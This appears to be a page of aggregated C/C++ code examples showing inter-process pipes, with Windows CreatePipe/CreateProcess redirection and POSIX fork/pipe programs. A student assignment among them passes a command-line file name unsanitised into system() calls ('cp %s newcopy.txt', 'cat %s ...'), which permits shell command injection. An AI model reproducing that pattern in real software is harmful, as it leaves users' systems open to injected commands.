      printf("Expense Approved.\n");
      break;

   case ERROR_ACCESS_DENIED:
      printf("Expense denied: Access denied.\n");
      break;

   case ERROR_INSUFFICIENT_FUNDS:
      printf("Expense denied: Insufficeint funds.\n");
      break;

   default:
      printf("Expense failed: unexpected error.\n");
   }
    
   CloseHandle(hPipe);
}
Exemple #21
0
int main(int argc, char *argv[]) {
	int i,
		status,
		parent,
		child[3],
		exitStatus,
		parentToChild1[2],
		child1ToChild2[2],
		child2ToChild3[2],
		child1ToParent[2],
		parentToChild2[2],
		child2ToParent[2],
		parentToChild3[2],
		child3ToParent[2];
	char command[100],
		 token[] = "GO_AHEAD";

	/* Error handling */
	if (argc != 2) {
		fprintf(stderr, "Usage: ./a.out <file name>\n");
		exit(99);
	}

	/* Create pipes */
	MakePipe(parentToChild1);
	MakePipe(child1ToChild2);
	MakePipe(child2ToChild3);
	MakePipe(child1ToParent);
	MakePipe(parentToChild2);
	MakePipe(child2ToParent);
	MakePipe(parentToChild3);
	MakePipe(child3ToParent);

	/* Set all I/O operations to non-buffered
	   Stderr is unbuffered by default, so we 
	   can have this under the error handling */
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(fdopen(parentToChild1[0], "r"), NULL, _IONBF, 0);
	setvbuf(fdopen(parentToChild1[1], "w"), NULL, _IONBF, 0);
	setvbuf(fdopen(child1ToChild2[0], "r"), NULL, _IONBF, 0);
	setvbuf(fdopen(child1ToChild2[1], "w"), NULL, _IONBF, 0);
	setvbuf(fdopen(child2ToParent[0], "r"), NULL, _IONBF, 0);
	setvbuf(fdopen(child2ToParent[1], "w"), NULL, _IONBF, 0);
	setvbuf(fdopen(child1ToParent[0], "r"), NULL, _IONBF, 0);
	setvbuf(fdopen(child1ToParent[1], "w"), NULL, _IONBF, 0);
	setvbuf(fdopen(parentToChild2[0], "r"), NULL, _IONBF, 0);
	setvbuf(fdopen(parentToChild2[1], "w"), NULL, _IONBF, 0);
	setvbuf(fdopen(child2ToChild3[0], "r"), NULL, _IONBF, 0);
	setvbuf(fdopen(child2ToChild3[1], "w"), NULL, _IONBF, 0);
	setvbuf(fdopen(parentToChild3[0], "r"), NULL, _IONBF, 0);
	setvbuf(fdopen(parentToChild3[1], "w"), NULL, _IONBF, 0);
	setvbuf(fdopen(child3ToParent[0], "r"), NULL, _IONBF, 0);
	setvbuf(fdopen(child3ToParent[1], "w"), NULL, _IONBF, 0);

	/* Produces 3 children */
	for (i = 0; i < 3; ++i) {
		if ((parent = child[i] = fork()) == error) {
			fprintf(stderr, "Could not produce child #%d\n", i+1);
			exit(99);
		}

		if (!parent)
			break;
	}

	/* Send and receive tokens from children and then wait for them to finish */
	if (parent) {
		fprintf(stdout, "I am the parent of the following: %d, %d, and %d\n", child[0], child[1], child[2]);
		
		WriteToPipe(parentToChild1, token);
		ReadFromPipe(child1ToParent, command);
		WriteToPipe(parentToChild2, token);
		ReadFromPipe(child2ToParent, command);
		WriteToPipe(parentToChild3, token);
		ReadFromPipe(child3ToParent, command);

		for (i = 0; i < 3; ++i) {
			waitpid(child[i], &status, 0);
			fprintf(stdout, "From main: child, id #%d ended with status %d\n", child[i], WEXITSTATUS(status));
		}

		fprintf(stdout, "Goodbye!\n");
	} 
	else {
		/* First child */
		if (i == 0) {
			ReadFromPipe(parentToChild1, command);
			
			fprintf(stdout, "I am child #%d and my id is: %d\n", i+1, getpid());
			
			/* Copies file received from argument */
			sprintf(command, "cp %s newcopy.txt", argv[1]);
			exitStatus = system(command);
			
			char done[] = "child1_done";
			
			WriteToPipe(child1ToParent, done);
			WriteToPipe(child1ToChild2, done);

			exit(++exitStatus); 
		} 
		/* Second child */
		else if (i == 1) {
			ReadFromPipe(child1ToChild2, command);
			ReadFromPipe(parentToChild2, command);

			fprintf(stdout, "I am child #%d and my id is: %d\n", i+1, getpid());

			/* Runs ls on /bin and /sbin */
			sprintf(command, "ls /bin /sbin -lR");
			exitStatus = system(command);
			
			char done[] = "child2_done";

			WriteToPipe(child2ToChild3, done);
			WriteToPipe(child2ToParent, done);
			
			exit(++exitStatus); 
		} 
		/* Third child */
		else {
			ReadFromPipe(child2ToChild3, command);
			ReadFromPipe(parentToChild3, command);

			fprintf(stdout, "I am child #%d and my id is: %d\n", i+1, getpid());

			/* Cats file received from argument and source code */
			sprintf(command, "cat %s Assignment5.c", argv[1]);
			exitStatus = system(command);

			char done[] = "child3_done";

			WriteToPipe(child3ToParent, done);

			exit(++exitStatus); 
		}
	}
	
	return 0;
}
int _tmain(int argc, TCHAR *argv[])
{
   SECURITY_ATTRIBUTES saAttr;

   printf("\n->Start of parent execution.\n");

// Set the bInheritHandle flag so pipe handles are inherited.

   saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
   saAttr.bInheritHandle = TRUE;
   saAttr.lpSecurityDescriptor = NULL;

// Create a pipe for the child process's STDOUT.

   if ( ! CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0) )
      ErrorExit(TEXT("StdoutRd CreatePipe"));

// Ensure the read handle to the pipe for STDOUT is not inherited.

   if ( ! SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0) )
      ErrorExit(TEXT("Stdout SetHandleInformation"));

// Create a pipe for the child process's STDIN.

   if (! CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0))
      ErrorExit(TEXT("Stdin CreatePipe"));

// Ensure the write handle to the pipe for STDIN is not inherited.

   if ( ! SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0) )
      ErrorExit(TEXT("Stdin SetHandleInformation"));

// Create the child process.

   CreateChildProcess();

// Get a handle to an input file for the parent.
// This example assumes a plain text file and uses string output to verify data flow.

   if (argc == 1)
      ErrorExit(TEXT("Please specify an input file.\n"));

   g_hInputFile = CreateFile(
       argv[1],
       GENERIC_READ,
       0,
       NULL,
       OPEN_EXISTING,
       FILE_ATTRIBUTE_READONLY,
       NULL);

   if ( g_hInputFile == INVALID_HANDLE_VALUE )
      ErrorExit(TEXT("CreateFile"));

// Write to the pipe that is the standard input for a child process.
// Data is written to the pipe's buffers, so it is not necessary to wait
// until the child process is running before writing data.

   WriteToPipe();
   printf( "\n->Contents of %s written to child STDIN pipe.\n", argv[1]);

// Read from pipe that is the standard output for child process.

   printf( "\n->Contents of child process STDOUT:\n\n", argv[1]);
   ReadFromPipe();

   printf("\n->End of parent execution.\n");

// The remaining open handles are cleaned up when this process terminates.
// To avoid resource leaks in a larger application, close handles explicitly.

   return 0;
}
void FileListDialog::Search(int SearchType) 
{

    size_t iMyCounter = 0, iReturnVal = 0, iPos = 0;
    DWORD dwExitCode = 0;
    std::wstring sTempStr = L"";
	size_t SecondsToWait =0;

	ShowDialog(true);

    if (Parameters.size() != 0)    {
        if (Parameters[0] != L' ')        {
            Parameters.insert(0,L" ");
        }
    }

    sTempStr = FullPathToExe;
    wchar_t * pwszParam = new wchar_t[Parameters.size() + 1];
    if (pwszParam == 0)
    {
        return;
    }
    const wchar_t* pchrTemp = Parameters.c_str();
	int paramsize=Parameters.size();
	wcscpy_s(pwszParam, paramsize+1 , pchrTemp );


	wchar_t * pwszDir = new wchar_t[Dir.size() + 1];
    if (pwszDir == 0)
    {
        return;
    }
    pchrTemp = Dir.c_str();
    wcscpy_s(pwszDir, Dir.size() + 1, pchrTemp);

    STARTUPINFOW siStartupInfo;
    PROCESS_INFORMATION piProcessInfo;
    memset(&siStartupInfo, 0, sizeof(siStartupInfo));
    memset(&piProcessInfo, 0, sizeof(piProcessInfo));
    siStartupInfo.cb = sizeof(siStartupInfo);
	siStartupInfo.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
	siStartupInfo.wShowWindow = SW_HIDE;
	
	HANDLE g_hChildStd_OUT_Wr = NULL;
	HANDLE g_hChildStd_OUT_Rd = NULL;
	SECURITY_ATTRIBUTES saAttr; 
	saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); 
	saAttr.bInheritHandle = TRUE; 
	saAttr.lpSecurityDescriptor = NULL; 

   if ( ! CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0) ) 
		return;


    siStartupInfo.hStdOutput = g_hChildStd_OUT_Wr;
	

    if (CreateProcessW(const_cast<LPCWSTR>(FullPathToExe.c_str()),
                            pwszParam, 0, 0, true,
							CREATE_DEFAULT_ERROR_MODE, 0, pwszDir,
                            &siStartupInfo, &piProcessInfo) != false)
    {
        dwExitCode = WaitForSingleObject(piProcessInfo.hProcess, (SecondsToWait * 1000));//shd change to wait object
    }
    else
    {
        iReturnVal = GetLastError();
    }
	
	CloseHandle(g_hChildStd_OUT_Wr);
	ReadFromPipe(g_hChildStd_OUT_Rd,SearchType);
    /* Free memory */
    delete[]pwszParam;
    pwszParam = 0;

    /* Release handles */
    CloseHandle(piProcessInfo.hProcess);
    CloseHandle(piProcessInfo.hThread);

    return;
} 
Exemple #24
0
int _tmain1(int argc, TCHAR *argv[]) //_tmain -- because can be compiled for unicode and not for unicode
{
	SECURITY_ATTRIBUTES saAttr;

	printf("\n->Start of parent execution.\n");

	// Set the bInheritHandle flag so pipe handles are inherited. 

	saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
	saAttr.bInheritHandle = TRUE;
	saAttr.lpSecurityDescriptor = NULL;

	// Create a pipe for the child process's STDOUT. 

	if (!CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0))
		ErrorExit(TEXT("StdoutRd CreatePipe"));

	// Ensure the read handle to the pipe for STDOUT is not inherited.

	if (!SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0))
		ErrorExit(TEXT("Stdout SetHandleInformation"));

	// Create a pipe for the child process's STDIN. 

	if (!CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0))
		ErrorExit(TEXT("Stdin CreatePipe"));

	// Ensure the write handle to the pipe for STDIN is not inherited. 

	if (!SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0))
		ErrorExit(TEXT("Stdin SetHandleInformation"));

	// Create the child process. 

	CreateChildProcess();

	// Write to the pipe that is the standard input for a child process. 
	// Data is written to the pipe's buffers, so it is not necessary to wait
	// until the child process is running before writing data.

	// Create the thread to begin execution on its own.
	//TODO: Error Handling
	 CreateThread(
		NULL,                   // default security attributes
		0,                      // use default stack size  
		WriteToPipe,       // thread function name
		NULL,          // argument to thread function 
		0,                      // use default creation flags 
		NULL);   // returns the thread identifier 

	//try non-dulex cycle first

	//TODO: thread

	printf("\n->Thread of STDIN to child STDIN pipe.\n", argv[1]);

	// Read from pipe that is the standard output for child process. 

	//TODO: cycle
	printf("\n->Contents of child process STDOUT:\n\n", argv[1]);
	ReadFromPipe();

	printf("\n->End of parent execution.\n");

	// The remaining open handles are cleaned up when this process terminates. 
	// To avoid resource leaks in a larger application, close handles explicitly. 

	return 0;
}
int _tmain(void) 
{  
   hStdin = GetStdHandle(STD_INPUT_HANDLE); // STDIN

   SECURITY_ATTRIBUTES saAttr; 
 
   printf("\n->Start of parent execution.\n");

// Set the bInheritHandle flag so pipe handles are inherited. 
 
   saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); 
   saAttr.bInheritHandle = TRUE; 
   saAttr.lpSecurityDescriptor = NULL; 

// Create a pipe for the child process's STDOUT. 
 
   if ( ! CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0) ) 
      ErrorExit(TEXT("StdoutRd CreatePipe")); 

// Ensure the read handle to the pipe for STDOUT is not inherited.

   if ( ! SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0) )
      ErrorExit(TEXT("Stdout SetHandleInformation")); 

// Create a pipe for the child process's STDIN. 
 
   if (! CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0)) 
      ErrorExit(TEXT("Stdin CreatePipe")); 

// Ensure the write handle to the pipe for STDIN is not inherited. 
 
   if ( ! SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0) )
      ErrorExit(TEXT("Stdin SetHandleInformation")); 
 
// Create the child process. 
   
   CreateChildProcess();

  // _beginthread(WriteToPipe,0,NULL); //SchreibThread starten
  // _beginthread(ReadFromPipe,0,NULL);//LeseThread starten
  
 for(;;)
 {
   WriteToPipe(); 
  // printf( "\n->Contents written to child STDIN pipe.\n");
 
// Read from pipe that is the standard output for child process. 
 
  // printf( "\n->Contents of child process STDOUT:\n\n");
  ReadFromPipe();
   if(exitOnForce)
   {
	   printf("\n->SYSTEM GOING DOWN!\n");
	   break;
   }
 }
   //_endthread();
   //_endthread();
   printf("\n->End of parent execution.\n");

// The remaining open handles are cleaned up when this process terminates. 
// To avoid resource leaks in a larger application, close handles explicitly. 

   return 0; 
} 
/*------------------------------------------------------------------------
Procedure:     ReadToLineBuffer ID:1
Purpose:       Reads into the line buffer the characters written by
the interpreter
Input:         None
Output:        The number of characters read
Errors:        None
------------------------------------------------------------------------*/
int ReadToLineBuffer(void)
{
	memset(lineBuffer,0,sizeof(lineBuffer));
	return ReadFromPipe(lineBuffer,sizeof(lineBuffer));
}
int ForkAndPipe(const char * const argv[], VSILFILE* fin, VSILFILE* fout)
{
    HANDLE pipe_in[2] = {NULL, NULL};
    HANDLE pipe_out[2] = {NULL, NULL};
    HANDLE pipe_err[2] = {NULL, NULL};
    SECURITY_ATTRIBUTES saAttr;
    PROCESS_INFORMATION piProcInfo;
    STARTUPINFO siStartInfo;
    CPLString osCommandLine;
    int i;
    CPLString osName;
    VSILFILE* ferr;
    vsi_l_offset nDataLength = 0;
    GByte* pData;

    saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
    saAttr.bInheritHandle = TRUE;
    saAttr.lpSecurityDescriptor = NULL;

    if (!CreatePipe(&pipe_in[IN_FOR_PARENT],&pipe_in[OUT_FOR_PARENT],&saAttr, 0))
        goto err_pipe;
    /* The child must not inherit from the write side of the pipe_in */
    if (!SetHandleInformation(pipe_in[OUT_FOR_PARENT],HANDLE_FLAG_INHERIT,0))
        goto err_pipe;

    if (!CreatePipe(&pipe_out[IN_FOR_PARENT],&pipe_out[OUT_FOR_PARENT],&saAttr, 0))
        goto err_pipe;
    /* The child must not inherit from the read side of the pipe_out */
    if (!SetHandleInformation(pipe_out[IN_FOR_PARENT],HANDLE_FLAG_INHERIT,0))
        goto err_pipe;

    if (!CreatePipe(&pipe_err[IN_FOR_PARENT],&pipe_err[OUT_FOR_PARENT],&saAttr, 0))
        goto err_pipe;
    /* The child must not inherit from the read side of the pipe_err */
    if (!SetHandleInformation(pipe_err[IN_FOR_PARENT],HANDLE_FLAG_INHERIT,0))
        goto err_pipe;

    memset(&piProcInfo, 0, sizeof(PROCESS_INFORMATION));
    memset(&siStartInfo, 0, sizeof(STARTUPINFO));
    siStartInfo.cb = sizeof(STARTUPINFO);
    siStartInfo.hStdInput = pipe_in[IN_FOR_PARENT];
    siStartInfo.hStdOutput = pipe_out[OUT_FOR_PARENT];
    siStartInfo.hStdError = pipe_err[OUT_FOR_PARENT];
    siStartInfo.dwFlags |= STARTF_USESTDHANDLES;

    for(i=0; argv[i] != NULL; i++)
    {
        if (i > 0)
            osCommandLine += " ";
        osCommandLine += argv[i];
    }

    if (!CreateProcess(NULL,
                       (CHAR*)osCommandLine.c_str(),
                       NULL,          // process security attributes
                       NULL,          // primary thread security attributes
                       TRUE,          // handles are inherited
                       0,             // creation flags
                       NULL,          // use parent's environment
                       NULL,          // use parent's current directory
                       &siStartInfo,
                       &piProcInfo))
    {
        CPLError(CE_Failure, CPLE_AppDefined, "Could not create process %s",
                 osCommandLine.c_str());
        goto err;
    }

    CloseHandle(piProcInfo.hProcess);
    CloseHandle(piProcInfo.hThread);
    CloseHandle(pipe_in[IN_FOR_PARENT]);

    if (fin != NULL)
        WriteToPipe(fin, pipe_in[OUT_FOR_PARENT]);
    CloseHandle(pipe_in[OUT_FOR_PARENT]);

    CloseHandle(pipe_out[OUT_FOR_PARENT]);
    if (fout != NULL)
        ReadFromPipe(pipe_out[IN_FOR_PARENT], fout);

    osName.Printf("/vsimem/child_stderr_" CPL_FRMT_GIB, CPLGetPID());
    ferr = VSIFOpenL(osName.c_str(), "w");
    CloseHandle(pipe_err[OUT_FOR_PARENT]);
    ReadFromPipe(pipe_err[IN_FOR_PARENT], ferr);
    VSIFCloseL(ferr);
    pData = VSIGetMemFileBuffer(osName.c_str(), &nDataLength, TRUE);
    if (pData)
        CPLError(CE_Failure, CPLE_AppDefined, "[%s error] %s", argv[0], pData);
    CPLFree(pData);

    CloseHandle(pipe_out[IN_FOR_PARENT]);
    CloseHandle(pipe_err[IN_FOR_PARENT]);

    return pData == NULL;

err_pipe:
    CPLError(CE_Failure, CPLE_AppDefined, "Could not create pipe");
err:
    for(i=0; i<2; i++)
    {
        if (pipe_in[i] != NULL)
            CloseHandle(pipe_in[i]);
        if (pipe_out[i] != NULL)
            CloseHandle(pipe_out[i]);
        if (pipe_err[i] != NULL)
            CloseHandle(pipe_err[i]);
    }

    return FALSE;
}
Exemple #28
0
int ForkProcess(int id, char* transFileName, int writePipe[],
		int responsePipe[]) {

	pid_t p;

	if ((p = fork()) == 0) {

		//close read end of pipe for child process

		p = getpid();

		close(writePipe[0]);
		close(responsePipe[1]);

		signal(SIGUSR1, ShowCurrentStatus);
		signal(SIGUSR2, ShowCurrentStatus);

		char* filename = transFileName;
		char input[100] = "";

		logFilePointer = OpenLogFile();

		FILE *fp;

		fp = fopen(filename, "r");

		while (fgets(input, 100, fp) != NULL) {
			if (strlen(input) > 0) {
				char* str = input;
				char buf[80] = "";
//				printf("attempting to send %s through pipe.\n",
//						RemoveNewline(input));
				sprintf(buf, "%d %d %s", id, p, str);
//				printf("sending %s\n", RemoveNewline(buf));
				WriteToPipe(id, p, writePipe, buf);

				sleep(1);
				char readBuffer[80];

				ReadFromPipe(id, p, responsePipe, readBuffer);

				if (strcmp(readBuffer + strlen(readBuffer) - strlen("FAILED"),
						"FAILED") == 0)
					failedCommands++;

				totalCommands++;

				input[0] = '\0';
			}
		}

		//write(writePipe[1], exitCmd, strlen(exitCmd) + 1);

		//printf("exiting child process %d\n", pid);

		close(writePipe[1]);
		close(responsePipe[1]);

		fclose(fp);

		while (1 == 1) {
			sleep(1);
		}

		return 0;
	} else {

		//close write end of pipe for parent process
		close(writePipe[1]);
		close(responsePipe[0]);

		//loops until ReadFromPipe is done;
		return p;
	}

}